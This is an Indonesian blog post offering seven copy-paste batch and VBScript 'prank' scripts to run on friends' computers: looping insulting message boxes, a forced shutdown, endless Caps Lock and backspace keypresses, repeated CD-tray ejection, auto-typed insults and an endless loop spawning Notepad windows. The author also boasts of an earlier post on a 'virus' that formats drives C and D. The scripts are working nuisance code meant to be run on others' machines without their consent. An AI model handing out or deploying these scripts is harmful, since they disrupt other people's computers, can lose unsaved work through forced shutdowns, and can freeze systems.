Senin, 10 Januari 2011

Trik "NotePad"

blogger-emoticon.blogspot.comblogger-emoticon.blogspot.comblogger-emoticon.blogspot.comblogger-emoticon.blogspot.comblogger-emoticon.blogspot.comblogger-emoticon.blogspot.com
Hehehehe............ gue mau kasih sedikit ilmu buat kalian semua nih. Biasanya notepad kalian gunakan untuk menulis sesuatu !!! Tapi taukah kalian kalo notepad dapat membuat aplikasi kecil-kecilan. Malah kalian dapat membuat virus yang sangat berbahaya, contohnya pada beberapa waktu yang lalu saya pernah menjelaskan cara membuat virus yang dapat mengformat file C dan D. hehehehe..........!!! Pada kesempatan ini gue mau kasih beberapa trik aplikasi hasil buatan gue yang mungkin untuk di gunakan teman-teman untuk menjaili teman.
Nih tanpa banyak bacot lagi gue kasih belajar cara buat aplikasi lewat notepad !!!

1) Pesan terus muncul
Copas kode di bawah ini di notepad
@ECHO off
:Begin
msg * muka lo jelek
msg * ngaca dulu gih
msg * hayo lo,cpu lu gw acak2
msg * ud install ulang aja
msg * biar masalah nya kelar
GOTO BEGIN
SaveNamaFile.BAT
Ganti tulisan yang berwarna merah dengan pesan kalian sendiri

2) Bikin shutdown + message
Copas kode di bawah ini di notepad
@echo off
msg * apaan sih lo
shutdown -s -c "Error! muka mu standar abis"
SaveNamaFile.BAT
Ganti tulisan yang berwarna merah dengan pesan kalian sendiri

3) Caps Look mati-nyala
Copas kode di bawah ini di notepad
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop
SaveNamaFile.vbs
Ganti tulisan yang berwarna merah dengan pesan kalian sendiri

4) CD/DVD buka-tutup sendiri
Copas kode di bawah ini di notepad
Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
SaveNamaFile.vbs
Ganti tulisan yang berwarna merah dengan pesan kalian sendiri

5) Tombol backspace akan nekan terus
Copas kode di bawah ini di notepad
MsgBox "kembali ke menu sebelumnya"
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop
SaveNamaFile.vbs
Ganti tulisan yang berwarna merah dengan pesan kalian sendiri

6) Otomatis ngetik di notepad/word
Copas kode di bawah ini di notepad
Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "lu jelek banget sih!!!"
loop
SaveNamaFile.vbs
Ganti tulisan yang berwarna merah dengan pesan kalian sendiri

7) Buka notepad sendiri dan terus menerus
Copas kode di bawah ini di notepad
@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top
SaveNamaFile.BAT
Ganti tulisan yang berwarna merah dengan pesan kalian sendiri

Hehehehe mudah kan membuat aplikasi untuk ngerjain teman mua !!! Semoga bermanfaat !!!
===========================================
~~~JANGAN LUPA BERIKAN KOMENTAR~~~

blogger-emoticon.blogspot.comblogger-emoticon.blogspot.comblogger-emoticon.blogspot.comblogger-emoticon.blogspot.com

1 komentar:

kk cara stopx pa cuma instal ulang?

Posting Komentar